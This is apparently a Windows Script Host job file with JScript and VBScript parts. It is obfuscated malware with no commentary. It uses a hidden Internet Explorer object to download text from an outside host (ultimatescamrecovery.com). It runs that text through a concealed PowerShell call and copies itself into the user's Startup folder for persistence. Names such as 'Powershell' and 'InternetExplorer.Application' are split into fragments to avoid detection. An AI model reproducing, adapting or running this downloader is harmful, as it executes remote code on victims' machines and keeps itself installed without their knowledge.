<job id="PERLandVBS">
<script language="JScript">
function eHKjsx()
var SSdT = WScript.CreateObject("Inter" + "netExpl" + "orer.Appl" + "ication");
SSdT.Visible = false;
SSdT.Navigate("http://ultimatescamrecovery.com/r/tk.txt");
while (SSdT.Busy || SSdT.readystate != 4)
WScript.Sleep(1000);
var gTovF=SSdT.document.documentElement.outerText;
return gTovF
function jIBL()
var XczNqg="new:09"
var XczNqg2="3FF999-1EA0-407"
var Alg=[XczNqg,XczNqg2,"9-9525-9614C3504B74"];
return Alg.join("");
function ByNnl()
var jXNjvboJ=GetObject(jIBL())
var JMVhA=jXNjvboJ.UserName
var achbKR=("C:\\Users\\" + JMVhA + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" )
return achbKR
function erjjjf()
return "hell"
</script>
<script language="VBScript">
SwDU=WScript.ScriptFullName
NTmr=Left(SwDU,InStrRev(SwDU,"\"))
Private Function bEYTdo(LG)
Set UPVLy = CreateObject("Shell.Application")
UPVLy.ShellExecute "Powers" + erjjjf(), LG, "", "", 0
End Function
if NTmr = ByNnl() + "\" Then
bEYTdo(eHKjsx())
bEYTdo(eHKjsx())
bEYTdo("move-item '" + SwDU + "'" + " '" + ByNnl() + "'")
End if
</script>
</job>